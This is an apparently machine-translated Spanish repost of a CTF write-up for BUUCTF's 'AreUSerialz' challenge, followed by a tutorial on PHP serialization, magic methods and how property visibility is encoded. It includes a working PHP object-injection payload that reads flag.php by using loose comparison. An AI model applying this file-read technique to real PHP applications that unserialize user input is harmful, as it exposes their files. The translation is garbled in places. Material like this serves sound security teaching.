BUUCTF reaparece [Netding Cup 2020 Blue Dragon Group] AreUSerialz

Ideas para resolver problemas

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
    
    

    protected $op;   //%00*%00属性名
    protected $filename;
    protected $content;

    function __construct() {
    
     //该方法在创建对象时自动调用
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
    
      //如果op=1调用write函数,若op=2,调用read函数,否则输出Bad Hacker!
        if($this->op == "1") {
    
      
            $this->write();
        } else if($this->op == "2") {
    
    
            $res = $this->read();
            $this->output($res);
        } else {
    
    
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
    
    
        if(isset($this->filename) && isset($this->content)) {
    
    
            if(strlen((string)$this->content) > 100) {
    
    
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
    
    
            $this->output("Failed!");
        }
    }

    private function read() {
    
    
        $res = "";
        if(isset($this->filename)) {
    
    
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
    
    
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
    
     //该方法在销毁对象时使用,会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}   

function is_valid($s) {
    
    
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{
    
    'str'})) {
    
    

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
    
        $obj = unserialize($str);
    }

}//传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化

Analizando el código fuente y viendo que hay una función unserialize (), este problema debe ser la deserialización de PHP.

En primer lugar, desde el punto de entrada del programa:

if(isset($_GET{
    
    'str'})) {
    
    

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
    
        $obj = unserialize($str);
    }

}

Pase una cadena en el método GET y luego use la función is_valid para determinar si el valor ascii de la cadena de entrada está entre 32 y 125, y luego deserialice la cadena de entrada. (Para los estudiantes que no entienden la deserialización de PHP, primero miren el final del artículo)

function __destruct() {
    
     
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

Aquí es para juzgar op, si op = 2 entonces cambie op a 1, de lo contrario ejecute el método de proceso.

public function process() {
    
      
    if($this->op == "1") {
    
      
        $this->write();
    } else if($this->op == "2") {
    
    
        $res = $this->read();
        $this->output($res);
    } else {
    
    
        $this->output("Bad Hacker!");
    }
}

Cuando op es igual a 2, el método de proceso lee el contenido del archivo de nombre de archivo y lo genera. También se examinan ===y las ==diferencias, un tipo es relativamente fuerte, un tipo relativamente débil. Podemos hacer op = 2, donde 2 es un tipo int entero, cuando op = 2, op ==="2" es falso, op == "2" es verdadero

Luego puede escribir un objeto para construir la serialización, y luego pasar str, puede obtener la bandera

<?php
 
class FileHandler {
    
    
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "oavinci";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
O:11:"FileHandler":3:{
    
    s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

Inserte la descripción de la imagen aquí

Echemos un vistazo a la serialización y deserialización de PHP:

Publicación por entregas:

La serialización de PHP es un proceso de comprimir varios tipos de datos y almacenarlos en un formato determinado. La función que utiliza es serialize ()

<?php

class FileHandler {
    
    

    public $ab=2;  
    public $cd="flag.php";
    public $efg="hello";
}

$a=new FileHandler();
$b=serialize($a);
echo $b;

La salida serializada es la siguiente:

O:11:"FileHandler":3:{
    
    s:2:"ab";i:2;s:2:"cd";s:8:"flag.php";s:3:"efg";s:5:"hello";}

Deserialización

La deserialización consiste en restaurar la cadena comprimida y formateada.

Método mágico

Luego, aprenda sobre varios métodos mágicos en PHP

(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)(2)wakeup()unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():serialize()之前自动调用

Permisos de atributos

Aquí hay un punto de conocimiento muy importante:

<?php
 
class FileHandler {
    
    
 
    public $op = 2;
    private  $oa = "123";
    protected  $ob = "456";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;

El resultado serializado es el siguiente:

O:11:"FileHandler":3:{
    
    s:2:"op";i:2;s:15:"FileHandleroa";s:3:"123";s:5:"*ob";s:3:"456";}

Encontraremos que el nombre del atributo en el interior es obviamente oa, pero el resultado serializado es FileHandleroa, y su longitud es claramente 13, pero el resultado serializado es 15; el nombre del atributo es obviamente ob, pero el resultado del deterioro de la educación. es * ob, y la longitud se convierte en 5.

Aquí están los permisos de acceso a la propiedad de PHP. Para comprimir y formatear completamente la información diversa de todo el objeto de la clase, la serialización inevitablemente serializará los permisos de las propiedades. Encontramos que la clase que definí Hay tres tipos de atributos: privado protegido y el público predeterminado (es lo mismo si está escrito o no)

  • Permisos públicos

Sus reglas y regulaciones de serialización, de acuerdo con nuestro pensamiento convencional, deberían ser unos pocos caracteres, unos pocos caracteres.

  • Permisos privados

Este permiso es un permiso privado, lo que significa que solo puede ser utilizado por la clase FileHandler, por lo que al serializar, debe agregar su nombre delante del atributo privado para mostrarle al mundo que este atributo es de mi propiedad únicamente, pero parece que la longitud sigue siendo incorrecta. Todavía faltan dos. Esto se debe a que el atributo de permiso privado agregará el nombre de la clase antes del nombre del atributo y agregará dos espacios en blanco antes y después de la clase. Eso es todo:%00类名%00属性名

  • Permisos protegidos El
    formato serializado de los permisos protegidos es:%00*%00属性名

Supongo que te gusta

Origin blog.csdn.net/weixin_43749601/article/details/109406794
Recomendado
Clasificación